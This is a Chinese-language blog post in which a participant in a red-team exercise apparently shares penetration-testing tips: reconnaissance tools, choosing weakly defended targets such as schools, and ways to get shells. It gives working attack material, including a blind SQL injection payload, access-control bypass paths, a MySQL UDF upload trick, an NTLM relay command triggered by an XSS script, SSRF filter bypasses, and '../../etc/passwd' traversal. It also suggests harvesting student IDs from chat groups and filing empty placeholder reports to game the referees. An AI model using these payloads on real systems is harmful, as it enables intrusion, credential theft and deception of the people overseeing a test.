小弟也第一次参加hw,经过5天hw,确实也学到了许多的东西,但就本次分享而言,我分享一些我认为在hw里面值得注意的东西以及一些小技巧
一.信息收集
信息收集这个多西当然都是老生常谈了,你收集的东西越多,能打的方向也就越多,当然,hw给你打的资源的格式一般为单位名称,系统名称,域名,IP地址。当然,其他的资源可能都大同小异。
网上都有很多信息收集的东西,都是那一套,扫端口,找子域名,看站有没有泄露什么东西,什么敏感文件,看网站的框架。现在,我就先给大家梳理一下。
信息收集的本质有2个,一是把现有的资源扩大,能给我们多一些渗透的方向。二是了解渗透目标,是我们的exp能够精准有效的打击。
如何把资源扩大?
比如给的目标:单位名称:xxx市学校,域名:www.abc.com ip:123.123.123.123(有的要给端口)
首先从单位名称入手,进入fofa或者其他搜收平台,title="xxx市学校"
然后是域名,域名建议用挖掘机或者subDomainsBrute.py
ip的话就是扫端口,外网建议用masscan,内网的话建议用nbtscan。
如何了解我们的渗透目标
推荐几款google的插件,第一款wappalyzer.
当然,这款插件也不一定检查的全,但是还是能检查出大部分的,有些框架你要进入网站的一些目录才会检查出来,例如进入后台登录界面,一些文章分类的界面。
当然还有一些小众的用法,就这一次,我们团队进了一个学校oa的后台,弱口令进的,但是那个后台没有上传,注入各类参数也没有测出来,然后在登陆界面上面写的是鹏达内网校园系统,但是进去就没有任何信息,然后就在网上找exp,没想到在cnvd上找到了注入,队友们真的好顶啊。
第二款shodan
这个可以探测端口,有些时候能探测出漏洞,就比如这次hw,我探测出来了心脏滴血,虽然最后没用用上
然后是扫目录和找后台的,扫目录的我推荐dirsearch.py和御剑,找后台的我推荐test404轻量级后台扫描器。
当然,以来我们可以先不扫,可以找一些敏感的文件后者后台,常见的敏感文件phpinfo,robots.txt.
phpinfo的话可以看看绝对路径,网上也有几篇讲了phpinfo可以getshell,但我遇到了很多phpinfo没有get到一个,不过有一次倒是遇到了phpstudy的后门,秒了一次。
robots.txt看的话也基本上是disallow,然后啥也没有了,但是还是看一看,万一有惊喜呢。
有一个网站可以在线探测,还挺不错的,https://scan.top15.cn/web/infoleak
但是其他功能就比较拉跨,哈哈哈哈。
后台的话可以手动先找一下,admin,login,manager,或者比如成都市阿鑫鑫鑫鑫哥哥公司,www.abc.com/axxxxgg/admin,这样先探测一下,再扫,效果会更好一点。
信息收集的话我们还是在每一个资源上都测一下域传输漏洞,如果真有,那岂不美滋滋?
二.目标选择
hw其实就只有这么几天时间,选择一个好的目标,我们能够在有限的时间内,更容易拿分。
优先选择学校>化工&&交通&&能源&&论坛&&各类企业>医院&&银行&&电信(运营商搭建的)
为什么这样选,因为高校的资源多,有OA系统,教务,学生平台,广播系统,新闻发布中心,乱七八糟的,都可以打,并且,高校的防御相对于没有那么森严,而且,也容易社工,比如xxx市职业学校,在qq上收一下什么xxxx市职业学校兼职群,xxxx市职业学校新生群,学号大把大把的有,其他的系统哪儿有那么容易。
然后再说说为什么把医院银行,电信这三个放最后,首先是医院,如果真的拿下一个his的内网权限,真的对这个医院,或者是这个地级市造成不可估量的损失。所以防护肯定是拉满的,第二,资源少啊,一个医院,除了域名,oa系统,基本上你找不到其他资源了,并且一些敏感的目录动不动就500,怎么玩?银行也同理,所以,我们要想拿下,真就看运维,或者手上的day。
中间的话,资源略少于学校,网站的防护也略低于医院银行。
三.拿shell(得分)
1.如果运气好,什么tp,joomla的框架,网上有exp,直接秒掉,这是最好的。
2.弱口令,永远的神,admin admin admin admin123 admin 123456 先打一波,然后在合理的爆破,先不说拿不拿的下,当我们那一个弱口令,就用50-100的分,并且有很多口子,都是弱口令进入后台,拿下shell的。
3.上传,上传成功就shell,还是很粗暴的,如果是黑名单,想办法绕,网上有很多思路的,白名单看是否存在解析,没有的话直接pass
4.各类未授权
什么redis,mongodb,扫了端口都先测一波,未授权的分虽然低,但是还是很多,不管是外网或者内网,特别是在内网打不动的时候,找一找未授权,形形色色的内网系统各类未授权的分真的相当于几台服务器了。
5.注入
注入的话现在越来越难利用了,因为注入曾经太猛了,mysql的话基本上是读读数据,读出数据进入后台拿下shell,mssql还好一些,运气好的话--os-shell直接cs上线,不支持堆叠注入的话吐司有一篇文章讲的就是不支持堆叠注入getshell。
6.xss,钓鱼
需要时间。
7.其他漏洞
xxe,ssrf,csrf等漏洞,真的遇到都算是不错了。
四.hw测试的地方和一些另类小技巧
1.对于java的框架真的要很敏感,常见的st2,jboss反序列化,shiro反序列化。
2.看站的时候可以用xray,真的有用,这次hw找了3个注入,给长亭打钱
3.当资源共享出来的时候,找到了什么弱口令,未授权,先交报告,然后在编辑,因为裁判要复现打一到,可能还要玩手机,所以不用担心交了报告马上就会审核,所以我们可以先交报告,站一个坑位,然后在编辑,因为当资源共享的时候,一个弱口令都是香饽饽,大家都会交,所以我们先交站坑位,如果裁判马上审,就是,哎哟,交快了,交了一个空报告,不好意思。
4.当资源没有共享的时候,报告经量交一个完整的,就是外网打点进入,打穿内网,直接把这个资源的分恰满,但是资源共享的时候还是找了一个交一个,除非很有自信,其他队找不到。
五.分享一些东西吧。
(1)sql注入和逻辑漏洞
1.注册账号的时候:账号admin空格空格空格空格空格空格 密码随意。登陆的时候会把空格解析掉,变成真正的admin。
2.如若只能上传图片的时候,可以把图片名修改,造成二次注入.
3.?x=1-if(user() like 'x%25',0,1)这条payload放入burpsuit,然后给x加入payload,大小写加上,处数据。
4.好好利用bp与sql注入,可以更改包的格式,get改为Post,然后在输入payload。
5.我们在用bp抓包是,我们可以将x-forward改为127.0.0.1,它可能对本地的包不过滤
6.比如一个页面存在sql注入,但是可能会被拦截,我们可以尝试在url里头构造admin,install,等白名单词汇来绕过
7.垃圾数据注入,如果是post型,就把垃圾数据放在需要注入的参数后面,如果是get型,就把他变成Post型,在放垃圾数据
8.在后台,我们的账号权限不够,可以修改密码,将refer和Post里的参数改为管理员的账号已引发逻辑漏洞
(2)信息收集篇
1.如若存在git文件,.git文件可以用来恢复源代码
2.ds_store可以用python的exp打
3..svn文件
4.如若扫到敏感文件,但是却没有权限访问,列如http://localhost:8080/urltest/info/secret.jsp此页面
1.http://localhost:8080/urltest/./info/secret.jsp
2.http://localhost:8080/urltest/;xinxin/info/secret.jsp
3.http://localhost:8080/urltest/xinxin/../info/secret.jsp //都可以尝试一下
5.如果存在swp文件,是vim的文件,我们可以用vim -r来恢复,说不定能看到一些yd的东西
(3)上传篇
1.如若不存在白名单限制,但就是上传不了,可以改为csproj这个后缀,再上传php,包含csproj即可
常见的假后缀,phtml
2.如若存在某种白名单限制,我们可以借助环境变量绕过,列如
无法上传dll文件,我们可以将dll的后缀改为php,然后用sql查询hex值
select hex(load_file('F:/phpstudy/phpstudy/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/1.php'));
然后再用php语法转化为dll二进制文件
<?php
echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));
?>
3.基于Content-Type,除了常见的application/xml,application/json,multipart/form-data
还有就是application/vnd.php.serialized,将CT改为application/vnd.php.serialized
(4)其他
1.如果能上传swf,也可以根据swf构造xss的payload
2.可以利用xss拿ntml
python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt //target.txt是ip地址
<script src="\\\\10.0.0.7\\smbrelay"><br>
3.如用xss拿下cookie,但是登陆以后是静态的,我们就得想到同源策略,设置document.cookie来共享cookie.<br>
4.ssrf利用可以将ip转化为8进制。 //此外,八进制前面可以+0,可以加1-3个<br>
5.也可以将https:// 这2个//去掉<br>
6.重定向,<a href="https://[email protected]">https://[email protected]</a> //@可以变为#和?<br>
7.如若无法访问,可以尝试加上端口,加一个80<br>
8.平时用bp抓包,对cookie以及session这2个字段敏感一点,修改一下参数说不定可以造成任意用户浏览<br>
9.网页URL里头存在啥子action=,或者啥子单一的参数等于,可以搞啊一哈action=../../etc/passwd 可以用bp抓包,看到他的一些文件和路径<br>
10.如果用bp抓包,发现有command参数,我们可以试试cat+/etc/version看信息,根据版本来说</p>
</script>